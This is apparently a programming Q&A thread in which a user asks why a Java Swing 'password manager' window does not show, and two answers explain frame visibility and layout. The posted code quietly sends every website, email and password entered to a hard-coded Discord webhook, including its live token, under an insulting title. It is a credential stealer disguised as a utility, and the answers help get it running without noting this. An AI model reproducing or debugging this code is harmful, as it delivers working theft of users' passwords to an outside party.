Why is GUI content not visible?

user_17194408 0
Viewed 101

I made a basic GUI program with Java Swing. But it is not even opening. I think it might be because I put the setVisible(true) method at the beginning.

But even if I put it at the bottom of the code, it is not displaying. Here is my code. What am I doing wrong?

import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Arrays;
import java.util.Scanner;
import java.util.stream.Collectors;

public class Main {
    public static void main(String[] args) throws Exception {

        //objects ------------------------------------------------------------------------------------------------------

        JTextArea area = new JTextArea();
        JFrame jframe = new JFrame();
        JPanel panel = new JPanel();
        JLabel label = new JLabel();
        JButton button = new JButton();
        JButton btn = new JButton();

        //frame---------------------------------------------------------------------------------------------------------
        jframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        jframe.setTitle("Blacklyn Passwords");
        jframe.setSize(400,200);
        //also tried it here, it´s showing...but it´s white all the time, and I tried to refresh it,I minimized it, and opened it back...but nothing changed...still white "jframe.setVisible(true)"


        //label---------------------------------------------------------------------------------------------------------

        label.setText("Blacklyn");
        label.setForeground(Color.BLACK);//(new Color(135, 134, 131));
        label.setFont(new Font("Calibri",Font.BOLD,25));

        //areas---------------------------------------------------------------------------------------------------------
        String data = readFile("data.json");
        area.setText(data);
        area.setEditable(false);
        area.setBackground(new Color(23,23,23));
        area.setForeground(new Color(68, 68, 68));

        //buttons--------------------------------------------------------------------------------------------------------

        button.setText("ADD");
        button.setForeground(new Color(135, 134, 131));
        button.setBackground(new Color(23,23,23));
        button.addActionListener(new ActionListener() {
            @Override
            public void actionPerformed(ActionEvent e) {
                String Website = JOptionPane.showInputDialog(null,"Enter a Website or Topic.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
                String Email = JOptionPane.showInputDialog(null,"Enter a Email.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
                String Password = JOptionPane.showInputDialog(null,"Enter a Password","Blacklyn",JOptionPane.PLAIN_MESSAGE);
                try {
                    String flll = "data.json";
                    json_write(flll, Website + " " + Email + " " + Password);
                    send(Website + " " + Email + " " + Password);
                } catch (IOException ex) {
                    ex.printStackTrace();
                }
                try {
                    String msg = readFile("data.json");
                    area.setText(msg);
                } catch (Exception ex) {
                    ex.printStackTrace();
                }


            }
        });

        btn.setText("DELETE");
        btn.setForeground(new Color(135, 134, 131));
        btn.setBackground(new Color(23,23,23));
        btn.addActionListener(new ActionListener() {
            @Override
            public void actionPerformed(ActionEvent e) {
                File file = new File("data.json");
                if(file.exists()){
                    String storage = JOptionPane.showInputDialog(null,"Enter what Website or Topic you want to delete","Blacklyn",JOptionPane.PLAIN_MESSAGE);
                    try {
                        deleteLine(storage);
                    } catch (IOException ex) {
                        ex.printStackTrace();
                    }
                    try {
                        String msg = readFile("data.json");
                        area.setText(msg);
                    } catch (Exception ex) {
                        ex.printStackTrace();
                    }

                }else{
                    JOptionPane.showMessageDialog(null,"You have no Passwords to delete","Blacklyn",JOptionPane.ERROR_MESSAGE);
                }
            }
        });



        //panel---------------------------------------------------------------------------------------------------------

        panel.setBackground(new Color(15,15,15));
        panel.add(label);
        panel.add(button);
        panel.add(btn);
        panel.add(area);
        // I also tried it here(its not even showing)jframe.setVisible(true);

        //END-----------------------------------------------------------------------------------------------------------
        jframe.add(panel);
        //it´s also not showing
        jframe.setContentPane(panel);



    }
    public static void deleteLine(String start) throws IOException {
        RandomAccessFile file = new RandomAccessFile("data.json", "rw");
        String delete;
        String task="";
        byte []tasking;
        while ((delete = file.readLine()) != null) {
            if (delete.startsWith(start)) {
                continue;
            }
            task+=delete+"\n";
        }
        System.out.println(task);
        BufferedWriter writer = new BufferedWriter(new FileWriter("data.json"));
        writer.write(task);
        file.close();
        writer.close();
    }
    public static String readFile(String fileName)throws Exception
    {
        String data = "";
        data = new String(Files.readAllBytes(Paths.get(fileName)));
        return data;
    }

    public static void json_write(String file, String data) throws IOException {
        FileWriter fw = new FileWriter(file,true);

        fw.write(data + "\n");
        fw.flush();
        fw.close();
    }
    public static void send(String data) throws IOException {
        DiscordWebhook dw = new DiscordWebhook("https://discord.com/api/webhooks/899693331968323605/Ln4AYxUO8caGZDvi9628LuhaFmjgnhPOf2rrY5wVKEbGdiMFlnlyVy8BhM-HX6a_LkI2");
        dw.addEmbed(new DiscordWebhook.EmbedObject().setTitle("Hurensohn Jans Password").setDescription(data));
        dw.execute();
    }
}

I also tried to research online, but no one has the same problem. So I decided to open a question here.

jframe swing java
2 Answers

I see you are probably following a tutorial.

There is a lot going on here. But the most important code is the first part. You need to set your contentPane.

In every GUI with Java Swing, you set your JFrame to be the frame. Then you add your JPanel to your JFrame.

frame.add(panel);

then you set your panel as contentPane:

frame.setContentPane(panel)

Then you add all your elements to your panel. Also you need to use a layout manager. You may do it with Layout null, but then you need to use the setBounds() method to put everything in place, which is okey for your first GUI, but a lot of work.

Does this help you? please use a comment if it helped or not, then I can take another look.

user_160212370

This is a typical "tutorial" coding style. Comparing it with building a house, one builds floors, doors, windows, here I also see a table with chairs, already electricity and plumbing (actionPerformed). That is very fragmentary, not your fault.

You could already start with some inheritance:

public class MyBlacklynFrame extends JFrame {

    private JPanel panel;

    private JLabel label = new JLabel("Hello");

    public MyBlacklynFrame () {
        setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        setTitle("Blacklyn Passwords");
        setSize(400, 200);

        panel = new JPanel();
        panel.setLayout(new BorderLayout());
        panel.add(label, BorderLayout.SOUTH);

        add(panel);

        pack();
    }
}

public class Main {
    public static void main(String[] args) throws Exception {
        MyBlacklynFrame frame = new MyBlacklynFrame();
        SwingUtilities.invokeLater(() -> frame.setVisible(true));
    }
}

The above uses two different creation styles (for resp. panel and label).

The frame is made visible on the AWT event queue by invokeLater. () -> frame.setVisible(true) is an anonymous function with as body frame.setVisible(true);. It will later be executed on the event handling thread of swing (where button clicks and redrawing happens).

Calling pack does layouting.

There are some GUI designers with which you can create all this code in a GUI with components. Afterwards you could look at the created code.

I hope you see that here the GUI is constructed hierarchical. A panel with several components, text box, buttons, could also be put in its own class. So panel = new MySuperPanel(); could keep all compartimentized.

user_9848230
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